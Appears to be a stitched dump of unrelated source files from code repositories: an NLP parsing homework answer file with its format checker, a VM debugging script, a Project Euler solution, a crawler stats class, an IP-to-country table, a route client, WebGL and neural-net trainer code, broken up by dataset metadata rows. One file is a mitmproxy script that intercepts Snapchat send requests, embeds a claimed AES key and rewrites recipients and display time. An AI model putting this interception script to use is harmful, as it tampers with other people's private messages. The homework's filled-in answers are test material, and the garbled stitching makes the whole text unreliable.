'integer' # 0, 1, etc sentence_with_first_error_ANSWER = 'Bell , based in Los Angeles , makes and distributes electronic , computer and building products .' sentence_with_first_error_FORMAT = 'freeform text' # how would you describe the kind of error that the parser makes on this sentence? Does this error have any effect on the meaning? Explain briefly. error_type_made_by_parser_ANSWER = 'The parser messes up with "electronic, computer and building". Instead of treating each of the words as describing "products" the parser groups "electronic, computer" together and only uses "building" to describe "products". This does change the meaning. Bell does not distribute "electronic" - that does not even make grammatical sense - it distributes "electronic products".' error_type_made_by_parser_FORMAT = 'freeform text' # === question 2: current issues for statistical parsers === # What is the relationship between sentence length and sentence likelihood, all other things being equal? sentence_length_and_likelihood_relationship_ANSWER = 'The longer the sentences seem to be less likely - their log scores are more negative.' sentence_length_and_likelihood_relationship_FORMAT = 'freeform text' # Is there any difference between the scores when you substitute 'broker' for 'witch'? is_there_a_difference_in_score_ANSWER = True is_there_a_difference_in_score_FORMAT = 'boolean' # True or False # Why or why not? why_or_why_not_is_score_different_ANSWER = 'Despite the fact that we could have simplyed guessed that the scores would not be "identical" because they are floating point numbers (and comparing equality on floating point numbers does not make sense) but the main point here is that the grammaticality of a sentence does change the probability of the parse tree. By switching between "broker" and "witch" we notice that the probability does in fact change despite the fact that both sentences are grammatically equivalent. At a technical level, the reason why the probabilities are different is because the actual part of speech tagger itself may have associated different likelihoods to each word which get propogated up to the parser. This also beautifully illustrates the fact that the parser, which takes into account surrounding context, does not see the actual words but rather only sees the part of speech. We can observe this fact because the parser thinks that "wicked broker" is actually more likely than "wicked witch" because the word "broker" by itself may be more common than "witch" by itself.' why_or_why_not_is_score_different_FORMAT = 'freeform text' # List the log probability of the parses of each of these sentences (using the Bikel parser) # John slept . sentence1_logprob_ANSWER = -20.47 sentence1_logprob_FORMAT = 'float' # floating-point number, ie -32.6 # John slept Bill . sentence2_logprob_ANSWER = -33.65 sentence2_logprob_FORMAT = 'float' # Bill was arrested . sentence3_logprob_ANSWER = -28.22 sentence3_logprob_FORMAT = 'float' # It was arrested Bill . sentence4_logprob_ANSWER = -33.09 sentence4_logprob_FORMAT = 'float' # I tried to leave . sentence5_logprob_ANSWER = -24.49 sentence5_logprob_FORMAT = 'float' # I tried John to leave . sentence6_logprob_ANSWER = -39.06 sentence6_logprob_FORMAT = 'float' # I promised John to leave . sentence7_logprob_ANSWER = -40.74 sentence7_logprob_FORMAT = 'float' # Based on this, do you think the alignment between grammaticality and likelihood is accurate? alignment_between_grammaticality_and_likelihood_ANSWER = 'No. The best example is to look at sentences 6 and 7. Both of these sentences are the most simliar allowing us the test the "all other things considered equal" theory. They are the same length (in words), produce the exact same parts of speech tags and exact same parse tree structure. However, (6) is ungramatical while (7) is. Interestingly enough, 6 is MORE likely than 7 despite it being ungrammatical. Thus, there does not seem to be a good alignment between grammaticality and likelihood.' alignment_between_grammaticality_and_likelihood_FORMAT = 'freeform text' # Fill out the rest of the table, with either the entries 'high' or 'low', first recording the results from your parse of mixed the milk with the water, and then the rest of the table entries, which are blank. # Verb: mixed; Noun: water; Noun with milk table1_ANSWER = 'HIGH' table1_FORMAT = 'HIGH or LOW' # 'HIGH' or 'LOW' # Verb: mixed; Noun: water; milk with Noun table2_ANSWER = 'LOW' table2_FORMAT = 'HIGH or LOW' # Verb: mixed; Noun: stock; Noun with milk table3_ANSWER = 'LOW' table3_FORMAT = 'HIGH or LOW' # Verb: mixed; Noun: stock; milk with Noun table4_ANSWER = 'LOW' table4_FORMAT = 'HIGH or LOW' # Verb: sold; Noun: water; Noun with milk table5_ANSWER = 'HIGH' table5_FORMAT = 'HIGH or LOW' # Verb: sold; Noun: water; milk with Noun table6_ANSWER = 'LOW' table6_FORMAT = 'HIGH or LOW' # Verb: sold; Noun: stock; Noun with milk table7_ANSWER = 'HIGH' table7_FORMAT = 'HIGH or LOW' # Verb: sold; Noun: stock; milk with Noun table8_ANSWER = 'LOW' table8_FORMAT = 'HIGH or LOW' # What explains the pattern of HIGH and LOW attachments that you got in the previous problem? high_low_attachment_pattern_ANSWER = 'To be direct, the thing that leads to the patterns seen above are the actual examples in the training corpus. When you look through the corpus and search for (NN Milk) you will find that most of the sentences attach the PP to NP headed by "milk" rather than the VP. For example: "(VP (VBZ Concocts) (NP (NP (DT a) (NN Milk) ) (PP (IN For) (NP (JJ Hispanic) (NNS Tastes) ))))))" and "(NP (NP (ADJP (RB considerably) (JJR more) ) (JJ whole) (NN milk) ) (PP (IN than) (NP (JJ reduced-fat) (NNS milks) )))". Thus, despite the fact that the correct attachment should be based on the verb in the sentence, it seems that the training corpus "confuses" the parser and makes it think that the head of the NP is more important than the head of the VP - at least when it comes to NP headed by "Milk". What this demonstrates is that it is really important to have a large and diverse training data so that your parser does not learn the wrong things.' high_low_attachment_pattern_FORMAT = 'freeform text' # === END OF YOUR SUBMISSION, DON'T MODIFY THIS LINE OR ANYTHING BELOW IT === # The following code does the verification that your submission is correctly formatted and that you have filled out all the questions. def have_format_error(answer, fmt): if fmt == 'integer': if type(answer) != type(0): return 'Must be an integer, ex: 1' return None elif fmt == 'boolean': if answer not in [True, False]: return 'Must be a boolean, ex: True' return None elif fmt == 'float': if type(answer) != type(0.0): return 'Must be a float, ex: 0.0' return None elif fmt == 'probability': if type(answer) != type(0.0): return 'Must be a float, ex: 0.0' if not (0.0 <= answer <= 1.0): return 'Probability must be between 0.0 and 1.0, ex: 0.5' return None elif fmt == 'list of strings': if type(answer) != type([]): return "Must be a list, ex: ['John Doe']" if len([x for x in answer if type(x) != type('')]) > 0: return "Elements in the list must be strings, ex: ['John Doe']" return None elif fmt == 'dictionary of rule probabilities': if type(answer) != type({}): return "Must be a dictionary, ex: {'V PP': 0.1, 'V': 0.9}" if len([x for x in answer.keys() if type(x) != type('')]) > 0: return "Keys in the dictionary must be strings, ex: {'V PP': 0.1, 'V': 0.9}" if len([x for x in answer.values() if type(x) != type(0.0)]) > 0: return "Values in the dictionary must be floating point numbers, ex: {'V PP': 0.1, 'V': 0.9}" if False in [0.0 <= x <= 1.0 for x in answer.values()]: return "Values in the dictionary must each be between 0.0 and 1.0, ex: {'V PP': 0.1, 'V': 0.9}" if not (0.99 <= sum(answer.values()) <= 1.01): return "Values in the dictionary must sum to 1.0, ex: {'V PP': 0.1, 'V': 0.9}" return None elif fmt in ['freeform text', 'tree', 'parse strategy', 'HIGH or LOW']: # strings if type(answer) != type(''): return "Must be a string" answer = answer.strip() if fmt == 'tree': if '(' not in answer: return "Parse tree needs to have at least 1 '('" if ')' not in answer: return "Parse tree needs to have at least 1 ')'" if answer[0] != '(': return "Parse tree needs to start with '('" if answer[-1] != ')': return "Parse tree needs to end with ')'" if answer.count('(') != answer.count(')'): return "Parse tree need to have an equal number of '(' and ')'" if index_where_parse_tree_is_closed(answer) != len(answer) - 1: return 'Answer should be a single complete parse tree; you either have multiple trees, or your tree was prematurely closed' return None if fmt == 'parse strategy': if answer not in ['shift > reduce', 'reduce > shift']: return "Parse strategy must be either 'shift > reduce' or 'reduce > shift'" return None if fmt == 'HIGH or LOW': if answer.lower() not in ['high', 'low']: return "Must be either 'HIGH' or 'LOW'" return None if fmt == 'freeform text': if len(answer) < 1: return 'You need to write something' return None return "The declared answer format '" + fmt + "' is not recognized; you changed _FORMAT for this question" def index_where_parse_tree_is_closed(parse_tree): if len(parse_tree) == 0 or parse_tree[0] != '(': return -1 parens_to_close = 1 for idx in range(1, len(parse_tree)): c = parse_tree[idx] if c == '(': parens_to_close += 1 elif c == ')': parens_to_close -= 1 if parens_to_close <= 0: return idx return -1 if __name__ == '__main__': question_names = locals().keys() question_names = [x for x in question_names if '__' not in x] question_names = [x for x in question_names if '_ANSWER' in x] question_names = [x.replace('_ANSWER', '') for x in question_names] question_formats = {} for x in question_names: question_formats[x] = locals()[x + '_FORMAT'] question_answers = {} for x in question_names: question_answers[x] = locals()[x + '_ANSWER'] unanswered_questions = set() for question,answer in question_answers.items(): if answer == 'FILLIN': print 'Need to answer question: ' + question unanswered_questions.add(question) for question,fmt in question_formats.items(): if question in unanswered_questions: continue format_error = have_format_error(question_answers[question], fmt) if format_error: print 'Not in correct format: ' + question + ': ' + format_error
UTF-8
Python
false
false
2,012
2,860,448,226,886
90da24c54ca263587b521f3a32930dc933233d1e
80aae1f9a0b67795770ef8ad3967251f8a13652b
/patchfinder/patchfind.py
69cf99c8b4fb859415239359b76109eba597dc1b
[]
no_license
hanzz/patchfinder
https://github.com/hanzz/patchfinder
c7a479ac2c5ef760d194da758eb367efd94ace1d
632b2e4d80d1851bdddfb20489042e57d568d17b
refs/heads/master
2016-09-07T18:28:18.383648
2013-06-06T13:03:08
2013-06-06T13:03:08
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import os import sys from plugin import Plugin from straight.plugin.loaders import ClassLoader class PatchFinder(object): def __init__(self): self.plugins = ClassLoader().load("patchfinder.plugins") def get_patches(self, components): default = "" parsed = {} for component in components: if component.find("=") != -1: parsed[component.split('=')[0].lower()] = component.split('=')[1] else: default = component ret = {} for plugin in self.plugins: if not issubclass(plugin, Plugin): continue p = plugin() if p.name == "": continue component = default if parsed.has_key(p.name.lower()): component = parsed[p.name.lower()] ret[p.name] = p.patches(component) return ret
UTF-8
Python
false
false
2,013
1,632,087,603,106
543a07a5bc04adc46326be486a05b5c00810ef8b
8988482dd98b243b4be512538b100db64bfec2da
/client/examples/sstep_disasm.py
8885a76db1dd4ea4b3b215830f2a4cfee355ab52
[]
no_license
killvxk/ramooflax
https://github.com/killvxk/ramooflax
761f36cc514a507c00667f33fb303d70c919a6dc
fcbb67a00751e5d0003ed0d04c8c8581c95b76e7
refs/heads/master
2021-01-17T08:38:59.624208
2014-11-28T11:45:02
2014-11-28T11:46:41
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # # This script auto disassemble code at each # single step # # You are free to use your prefered disasm engine # the callback provides current code location # and bytes at that location # # This script uses amoco engine (https://github.com/bdcht/amoco) # from ramooflax import VM, Utils, CPUFamily from amoco.arch.x86 import cpu_x86 as am Utils.debug = True def sstep_disasm(vm): code_loc = vm.cpu.code_location() code_bytes = vm.mem.vread(code_loc, 15) print "(%dbit) pc = %#x | %s" % (vm.cpu.mode,code_loc,code_bytes.encode('hex')) print am.disassemble(code_bytes, address=code_loc) return True # # Main # #peer = "192.168.254.254:1234" peer = "172.16.131.128:1337" vm = VM(CPUFamily.Intel, peer) vm.attach() vm.stop() vm.cpu.breakpoints.filter(None, sstep_disasm) print "\n####\n#### type: vm.singlestep()\n####\n" vm.interact(dict(globals(), **locals())) vm.detach()
UTF-8
Python
false
false
2,014
6,914,897,380,390
34974efc65c099aa9b943a2cc073f9fb39066739
eba4fa4dbd917f8d0cde5c24b4eb3336b187a91e
/Euler41-50/euler43.py
9368092955ec8f9d1e5e9febf7ff8337967ddb65
[]
no_license
ajaydheeraj/PythonEuler
https://github.com/ajaydheeraj/PythonEuler
1b32a6453206ce48e0ec76aa02b3fbe73b43c236
a177eab4bc28e930fa36450e6133e8f779230e19
refs/heads/master
2021-05-27T15:10:52.141813
2014-10-13T19:27:50
2014-10-13T19:27:50
15,848,967
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from itertools import permutations def ispandig(x): if len(str(x)) != 10: return False x1 = sorted([int(i) for i in str(x)]) if x1 == range(10): return True return False def substring(x): d = [2,3,5,7,11,13,17] for i in range(1,8): if int(str(x)[i:i+3]) % d[i-1]: return False return True k = list(permutations([0,1,2,3,4,5,6,7,8,9])) l = [] for i in k: l.append(int(''.join(str(c) for c in i))) print sum(i for i in l if substring(i))
UTF-8
Python
false
false
2,014
4,020,089,406,964
869e6656542a369f2b02f8dc89e864ced68fb901
85ee0f0335ef1e0b64f13cf02a8344f850bb4542
/JStats.py
271d3135c3d81767511b8d91f72d2eccc36eeb87
[]
no_license
shz117/JCrawler
https://github.com/shz117/JCrawler
58539752a27ccab37cddf4f45fbb9ec9090663cc
3208b8099cf8869ae9f61413e851ef9747f7f9e6
refs/heads/master
2020-03-28T19:11:24.485899
2014-02-17T15:20:20
2014-02-17T15:20:20
16,527,136
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
__author__ = 'admin' import time import os import JLogger from JColors import JColors class JStats: def __init__(self,TOTSIZE): self.start=time.time() self.TOTSIZE=TOTSIZE print 'Time start!' def report(self,TOTAL404,RELCNT,keyWords): keyString='&'.join(keyWords) fsize=str(self.get_size(keyString)>>20)+'Mb' elapsed_time = time.time() - self.start JLogger.log(JColors.BOLD+'Total crawled file size:') JLogger.log(JColors.BOLD+fsize) print 'Total 404 encountered: '+str(TOTAL404) JLogger.log(JColors.BOLD+'Total crawling time:') JLogger.log(str(elapsed_time)) JLogger.log(JColors.BOLD+'Avg time per page:') JLogger.log(str(elapsed_time/self.TOTSIZE)) JLogger.log(JColors.BOLD+'Total related page count:') JLogger.log(str(RELCNT)) JLogger.log(JColors.BOLD+'Precision :') JLogger.log(str(RELCNT/(self.TOTSIZE*1.0))) try: repoList=open('REPOLIST_'+keyString,'a') repoList.write( '\n'.join(['Total crawled file size:',fsize,'Total 404 encountered:',str(TOTAL404),'Total crawling time:', str(elapsed_time),'Avg time per page:',str(elapsed_time/self.TOTSIZE),'Total related page count:', str(RELCNT),'Precision :',str(RELCNT/(self.TOTSIZE*1.0))]) ) except IOError: print 'Failed to write statistics to repolist file!' def get_size(self,start_path = '.'): total_size = 0 for dirpath, dirnames, filenames in os.walk(start_path): for f in filenames: fp = os.path.join(dirpath, f) total_size += os.path.getsize(fp) return total_size
UTF-8
Python
false
false
2,014
4,475,355,946,013
fbad6ea843dcae7f21e178f038d681d85b702948
586fbd8673af4f118813cccc75a8c12d4c9d05d9
/src/iptocountry/ip147.py
91471f620190296d367520cdffbc392a7099572f
[ "GPL-1.0-or-later" ]
non_permissive
MicheleBe/GAE-IP-TO-COUNTRY
https://github.com/MicheleBe/GAE-IP-TO-COUNTRY
169d2b0e47dc13ceb78d64f2311505a8948c8496
cae995189f62fb876069c77a37635dd44dc3617b
refs/heads/master
2021-01-04T03:03:29.852774
2011-07-24T10:15:43
2011-07-24T10:15:43
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#- ranges = { "2466316288": ["2466643967", "US"], "2466643968": ["2466709503", "KR"], "2466709504": ["2466775039", "EU"], "2466775040": ["2466840575", "HK"], "2466840576": ["2466906111", "US"], "2466906112": ["2466971647", "AU"], "2466971648": ["2467037183", "US"], "2467037184": ["2467233791", "EU"], "2467233792": ["2468020223", "US"], "2468020224": ["2468085759", "EU"], "2468085760": ["2468151295", "US"], "2468151296": ["2468216831", "DK"], "2468216832": ["2468282367", "EU"], "2468282368": ["2468347903", "US"], "2468347904": ["2468478975", "EU"], "2468478976": ["2468937727", "US"], "2468937728": ["2469003263", "AU"], "2469003264": ["2469068799", "US"], "2469068800": ["2469134335", "KR"], "2469134336": ["2469265407", "EU"], "2469265408": ["2469396479", "KR"], "2469396480": ["2469658623", "US"], "2469658624": ["2469724159", "EU"], "2469724160": ["2469789695", "US"], "2469789696": ["2469855231", "EU"], "2469855232": ["2470182911", "US"], "2470182912": ["2470248447", "EU"], "2470248448": ["2470510591", "US"], "2470510592": ["2470576127", "BR"], "2470576128": ["2470641663", "AU"], "2470641664": ["2470772735", "EU"], "2470772736": ["2470838271", "AU"], "2470838272": ["2471165951", "US"], "2471165952": ["2471231487", "EU"], "2471231488": ["2471297023", "AU"], "2471297024": ["2471428095", "EU"], "2471428096": ["2471690239", "US"], "2471690240": ["2471821311", "EU"], "2471886848": ["2472148991", "EU"], "2472148992": ["2472214527", "US"], "2472214528": ["2472280063", "EU"], "2472280064": ["2472345599", "US"], "2472345600": ["2472607743", "EU"], "2472607744": ["2472673279", "US"], "2472673280": ["2472869887", "EU"], "2472869888": ["2472935423", "US"], "2472935424": ["2473000959", "EU"], "2473000960": ["2473394175", "US"], "2473394176": ["2473459711", "AU"], "2473459712": ["2473525247", "ZA"], "2473525248": ["2473656319", "EU"], "2473656320": ["2473721855", "US"], "2473721856": ["2473787391", "GB"], "2473787392": ["2474049535", "US"], "2474049536": ["2474115071", "EU"], "2474115072": ["2474246143", "US"], "2474246144": ["2474377215", "EU"], "2474377216": ["2474442751", "US"], "2474442752": ["2474508287", "EU"], "2474508288": ["2474573823", "US"], "2474573824": ["2474639359", "EU"], "2474639360": ["2474901503", "US"], "2474901504": ["2474967039", "AU"], "2474967040": ["2475556863", "US"], "2475556864": ["2475687935", "EU"], "2475687936": ["2475884543", "US"], "2475884544": ["2476277759", "EU"], "2476277760": ["2476474367", "US"], "2476474368": ["2476539903", "EU"], "2476539904": ["2476605439", "JP"], "2476605440": ["2476670975", "NZ"], "2476670976": ["2476802047", "US"], "2476802048": ["2476998655", "EU"], "2476998656": ["2477195263", "US"], "2477195264": ["2477260799", "CH"], "2477260800": ["2477457407", "US"], "2477457408": ["2477654015", "EU"], "2477654016": ["2477719551", "US"], "2477719552": ["2477785087", "EU"], "2477785088": ["2477850623", "JP"], "2477850624": ["2478047231", "US"], "2478047232": ["2478178303", "EU"], "2478178304": ["2478309375", "US"], "2478309376": ["2478374911", "EU"], "2478374912": ["2478440447", "US"], "2478440448": ["2478505983", "EU"], "2478505984": ["2478571519", "US"], "2478571520": ["2478702591", "EU"], "2478702592": ["2478899199", "US"], "2478899200": ["2478964735", "EU"], "2479030272": ["2479095807", "US"], "2479095808": ["2479226879", "EU"], "2479226880": ["2479357951", "US"], "2479357952": ["2479423487", "AU"], "2479423488": ["2479489023", "EU"], "2479489024": ["2479620095", "US"], "2479620096": ["2479685631", "EU"], "2479685632": ["2479947775", "US"], "2479947776": ["2480013311", "AU"], "2480013312": ["2480078847", "EU"], "2480078848": ["2480209919", "AU"], "2480209920": ["2480406527", "EU"], "2480406528": ["2480668671", "US"], "2480668672": ["2480734207", "EU"], "2480734208": ["2481192959", "US"], "2481192960": ["2481782783", "EU"], "2481782784": ["2481848319", "IL"], "2481848320": ["2482175999", "US"], "2482176000": ["2482241535", "EU"], "2482241536": ["2482634751", "US"], "2482634752": ["2482831359", "EU"], "2482831360": ["2482962431", "US"], }
UTF-8
Python
false
false
2,011
17,566,416,271,675
26febfe011e5bdf8f10977679495e094c1ba2fbf
556115c708bb037b5da396b62997c538e36b0243
/snap-replay.py
c48b9e8277133923ef85ec2be725fdc15db9c18c
[ "LicenseRef-scancode-warranty-disclaimer", "LicenseRef-scancode-public-domain", "LicenseRef-scancode-proprietary-license" ]
non_permissive
RakhithJK/snap-stealer
https://github.com/RakhithJK/snap-stealer
01e336eb6ba97c33a6145e817110daae78628927
482f94034708d8de7e9f98ad5e1326e1c09d2094
refs/heads/master
2021-05-28T12:56:40.738361
2014-05-10T00:01:22
2014-05-10T00:01:22
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# Globals LOG_FILE = 'logs.txt' snapchat_aes_key = 'M02cnQ51Ji97vwT4' DOMAINS = ['feelinsonice-hrd.appspot.com', 'data.flurry.com'] def start(context, flow): myfile = open(LOG_FILE, 'a') try: myfile.write('----- starting replay -----\n') finally: myfile.close() def response(context, flow): if not (flow.response.request.host in DOMAINS): return """ with open(LOG_FILE,'a') as myfile: If the data is not from Snapchat, skip analysis. # TODO: Get fancy with responses. myfile.write('Response from Snapchat. OOOW\n') """ def request(context, flow): # If the data is not from Snapchat, skip analysis. if not (flow.request.host in DOMAINS and str(flow.request.path) == '/bq/send'): return myfile = open(LOG_FILE, 'a') try: form = flow.request.get_form_urlencoded() myfile.write('before: ' + str(form['recipient']) + '\n') # Change time to 10 seconds. form['time'] = ['10'] # Replace recipient list with our user list. form['recipient'] = ['incion, acotenoff'] # Re-encode the form for sending. flow.request.set_form_urlencoded(form) myfile.write('after: ' + str(form['recipient']) + '\n') finally: myfile.close() def end(context, flow): myfile = open(LOG_FILE, 'a') try: myfile.write('----- ending interception -----\n') finally: myfile.close()
UTF-8
Python
false
false
2,014
15,281,493,683,264
32e674de9999ac571a5a2c798ab25613431d7aca
f0ecc85996ab50726f403e9ce8c00b72b128c67e
/testclient.py
0d641ea59a07b71f72c4a3a35c84b55dc6c0fcad
[]
no_license
ToureNPlaner/TurnByTurn
https://github.com/ToureNPlaner/TurnByTurn
65d3ba7828f29cb514e4000925594ca42e2db34b
544883e22d3779bf16cd0302082fb4ba9b625bb2
refs/heads/master
2020-05-31T20:27:51.208884
2014-04-16T13:21:31
2014-04-16T13:21:31
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python3 import sys import json import httplib2 import time import math import os if len(sys.argv) not in [3,4]: print(sys.argv[0] + " (url) (filename of json response) [normal|gpx|json|benchmark (time in seconds)]") exit(1) if len(sys.argv) == 3: mode = 'normal' elif sys.argv[3] in ['normal','gpx','json','benchmark']: mode = sys.argv[3] else: print("correct mode please") exit (1) #http://www.johndcook.com/python_longitude_latitude.html def distance_on_unit_sphere(lat1, long1, lat2, long2): degrees_to_radians = math.pi/180.0 phi1 = (90.0 - lat1)*degrees_to_radians phi2 = (90.0 - lat2)*degrees_to_radians theta1 = long1*degrees_to_radians theta2 = long2*degrees_to_radians cos = (math.sin(phi1)*math.sin(phi2)*math.cos(theta1 - theta2) + math.cos(phi1)*math.cos(phi2)) arc = math.acos( cos ) return arc * 6371000 # radius in meter jsoncontent = json.load(open(sys.argv[2]))['way'] tosend = [ [ (c['lt'], c['ln']) for c in subway ] for subway in jsoncontent ] url = sys.argv[1] start = time.time() http = httplib2.Http(disable_ssl_certificate_validation=True) headers = {'Content-Type':'application/json', "Accept":"application/json"} respstat, resp = http.request(uri=url, method='POST', body=json.dumps(tosend), headers=headers) end = time.time() response = json.loads(str(resp, "UTF-8")) if 'error' in response.keys(): print("\tfilename: " + sys.argv[2] + "\n\terror: " + response['error']) exit(0) waystreets = response['streets'] noway = response['failed'] benchmarkfile = 'benchmark.csv' if mode == 'benchmark': print(str(end - start)) if os.path.isfile(benchmarkfile): f = open(benchmarkfile, 'a') else: f = open(benchmarkfile, 'w') f.write("route length;number of coordinates;time\n") dist = 0 coordinates = 0 for street in waystreets: for index,c in enumerate(street['coordinates']): if index == len(street['coordinates']) - 2: break coordinates += 1 dist += distance_on_unit_sphere(c['lt'],c['ln'], street['coordinates'][index + 1]['lt'], street['coordinates'][index + 1]['ln']) f.write(str(round(dist)) + ";" + str(coordinates) + ";" + str(end-start) + "\n") f.close() elif mode == 'gpx': print("""<?xml version="1.0" encoding="UTF-8" standalone="no" ?> <gpx xmlns="http://www.topografix.com/GPX/1/1" creator="byHand" version="1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">""") for street in waystreets: print(" <rte>") for c in street['coordinates']: deviation=str(round(c['deviation'],1)) #print(' <rtept lat="'+str(c['lat'])+'" lon="'+str(c['lon'])+'"><name>'+street['name']+'</name><desc>'+deviation+'</desc></rtept>') print(' <rtept lat="'+str(c['lt'])+'" lon="'+str(c['ln'])+'"><name>'+deviation+' (' +street['name']+')</name></rtept>') print(" </rte>") for now in noway: for index,nw in enumerate(now): print(" <wpt lat=\""+str(nw['srclat'])+"\" lon=\""+str(nw['srclon'])+"\"><name>"+str(index)+"</name></wpt>") print(" <wpt lat=\""+str(nw['destlat'])+"\" lon=\""+str(nw['destlon'])+"\"><name>"+str(index)+"</name></wpt>") print("</gpx>") elif mode == 'normal': print("Your way (<average deviation> <name>):") for streetpart in waystreets: deviationsum = sum([d['deviation'] for d in streetpart['coordinates']]) deviation = round(deviationsum/len(streetpart['coordinates']),1) #coordinates = [(c['lat'], c['lon']) for c in street['coordinates']] print(str(deviation), streetpart['name']) #print(repr(coordinates)) elif mode == 'json': print(json.dumps(ensure_ascii=False, obj = response))
UTF-8
Python
false
false
2,014
14,001,593,428,585
c43ec460190ad3f207ede2aec306cab1f9675e24
2d109f25003a62f0adfb52aa0a853e8c9ca4025d
/webgl_grass-96c5fb974d8b/tin/main.py
81d90fab9b7b787faf596db076ee1c61b6692bf8
[ "AGPL-3.0-only" ]
non_permissive
undisputed-seraphim/rin.ai
https://github.com/undisputed-seraphim/rin.ai
3aacfd9ee49c007585a2ce74ac12df2b27c05513
9fad04d52efcbdcd492a051ec886963c54add181
refs/heads/master
2020-05-29T11:07:29.298773
2013-01-09T21:39:19
2013-01-09T21:39:19
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
''' :copyright: 2011 by Florian Boesch <[email protected]>. :license: GNU AGPL3, see LICENSE for more details. ''' import pyglet from pyglet.gl import * from gletools import ShaderProgram, VertexObject, Matrix, VBO from heightfield import Heightfield from terrain import Terrain from util import View window = pyglet.window.Window(fullscreen=True, vsync=False) view = View(window) rotation = 0.0 heightfield = Heightfield() terrain = Terrain(heightfield) program = ShaderProgram.open('triangles.shader') def simulate(delta, _): global rotation rotation += 0.1 * delta pyglet.clock.schedule(simulate, 0.03) @window.event def on_draw(): glPolygonMode(GL_FRONT_AND_BACK, GL_LINE) glEnable(GL_CULL_FACE) glCullFace(GL_BACK) window.clear() model = Matrix().translate(-0.5, 0.0, 0.0) program.vars.modelview = view.matrix * model program.vars.projection = Matrix.perspective(window.width, window.height, 60, 0.001, 2.0) with program: terrain.draw() if __name__ == '__main__': pyglet.app.run()
UTF-8
Python
false
false
2,013
2,181,843,419,447
815e48de2fadd51647f4f60556c2df6b10c5f61a
180549d17a5a0a6aaf333a1b8353ce380d216001
/experiments/run_imagenet_layerwised_fcall.py
872b7d6fcbcca0ca4f3664163cbb9b287534069f
[ "GPL-3.0-only" ]
non_permissive
rjpower/fastnet
https://github.com/rjpower/fastnet
e1655453e3ed373ccba9eacee6be325cd9effafb
5631100fee5d7ce8e923e6f664595fb74bb43e78
refs/heads/master
2016-09-06T00:09:27.612905
2014-04-01T00:45:08
2014-04-01T00:45:08
12,573,805
22
7
null
false
2014-04-18T02:59:19
2013-09-03T20:14:48
2014-04-08T17:35:41
2014-04-08T17:35:42
1,404
14
8
1
Python
null
null
#!/usr/bin/python2.7 ''' This test is for naive trainer to traine a full imagenet model ''' from fastnet import data, trainer, net, parser import pprint test_id = 3 data_dir = '/ssd/nn-data/imagenet/' checkpoint_dir = '/home/justin/fastnet/fastnet/checkpoint/' param_file = '/home/justin/fastnet/config/imagenet.cfg' output_dir = '/scratch1/justin/imagenet-pickle/' output_method = 'disk' train_range = range(101, 1301) #1,2,3,....,40 test_range = range(1, 101) #41, 42, ..., 48 data_provider = 'imagenet' train_dp = data.get_by_name(data_provider)(data_dir,train_range) test_dp = data.get_by_name(data_provider)(data_dir, test_range) checkpoint_dumper = trainer.CheckpointDumper(checkpoint_dir, test_id) init_model = checkpoint_dumper.get_checkpoint() if init_model is None: init_model = parser.parse_config_file(param_file) save_freq = 100 test_freq = 100 adjust_freq = 100 factor = 1 num_epoch = 15 frag_epoch = 5 replay_epoch = 5 learning_rate = 0.1 batch_size = 128 image_color = 3 image_size = 224 image_shape = (image_color, image_size, image_size, batch_size) #mynet = net.FastNet(learning_rate, image_shape, None) param_dict = globals() class ImageNetLayerwisedTrainer(trainer.Trainer): def divide_layers_to_stack(self): self.fc_params = [] self.conv_params = [] conv = True for ld in self.init_model: if ld['type'] in ['conv', 'rnorm', 'pool', 'neuron'] and conv: #self.conv_params.append(ld) self.conv_params.append(ld) elif ld['type'] == 'fc' or (not conv and ld['type'] == 'neuron'): self.fc_params.append(ld) conv = False else: self.softmax_param = ld def initialize_model(self): self.curr_model.extend(self.conv_stack['conv1']) self.curr_model.extend(self.conv_stack['conv2']) self.curr_model.extend(self.conv_stack['conv3']) self.curr_model.extend(self.conv_stack['conv4']) self.curr_model.extend(self.conv_stack['conv5']) self.curr_model.extend(self.fc_tmp) def _finish_init(self): self.final_num_epoch = self.num_epoch self.curr_model = [] self.divide_layers_to_stack() self.conv_stack = net.FastNet.split_conv_to_stack(self.conv_params) self.fc_stack = net.FastNet.split_fc_to_stack(self.fc_params) self.fc_tmp = [self.fc_stack['fc8'][0], self.softmax_param] del self.fc_stack['fc8'] self.stack = self.fc_stack self.initialize_model() pprint.pprint(self.stack) self.num_epoch = self.frag_epoch net = parser.load_from_checkpoint(param_file, checkpoint_dumper.get_checkpoint(), image_shape) def report(self): pass def should_continue_training(self): return self.curr_epoch <= self.num_epoch def init_replaynet_data_provider(self): if self.output_method == 'disk': dp = data.get_by_name('intermediate') count = self.train_dumper.get_count() self.train_dp = dp(self.train_output_filename, range(0, count), 'fc') count = self.test_dumper.get_count() self.test_dp = dp(self.test_output_filename, range(0, count), 'fc') elif self.output_method == 'memory': dp = data.get_by_name('memory') self.train_dp = dp(self.train_dumper) self.test_dp = dp(self.test_dumper) def train_replaynet(self, stack): self.curr_batch = self.curr_epoch = 0 self.fullnet_train_dp = self.train_dp self.fullnet_test_dp = self.test_dp self.init_replaynet_data_provider() model = [] for s in stack.valus(): model.extend(s) model.extend(self.fc_tmp) self.train_dumper = None self.test_dumper = None self.fullnet = self.net size = self.net['fc8'].get_input_size() image_shape = (size, 1, 1, self.batch_size) print image_shape self.replaynet = FastNet(self.learning_rate, image_shape, model) self.net = self.replaynet self.num_epoch = self.replaynet_epoch trainer.Trainer.train(self) self.train_dp = self.fullnet_train_dp self.test_dp = self.fullnet_test_dp def reset_trainer(self): self.num_epoch = self.final_num_epoch self.curr_batch = self.curr_epoch = 0 self.init_output_dumper() self.init_data_provider() self.net = self.fullnet def train(self): trainer.Trainer.train(self) self.train_replaynet(stack) self.reset_trainer() self.net.drop_layer_from('fc8') for layer in self.replaynet: self.net.append_layer(layer) trainer.Trainer.train(self) t = ImageNetLayerwisedTrainer(**param_dict) t.train()
UTF-8
Python
false
false
2,014
10,213,432,272,456
2f1a380d145d5296a774d4917f6e4ecb538037c1
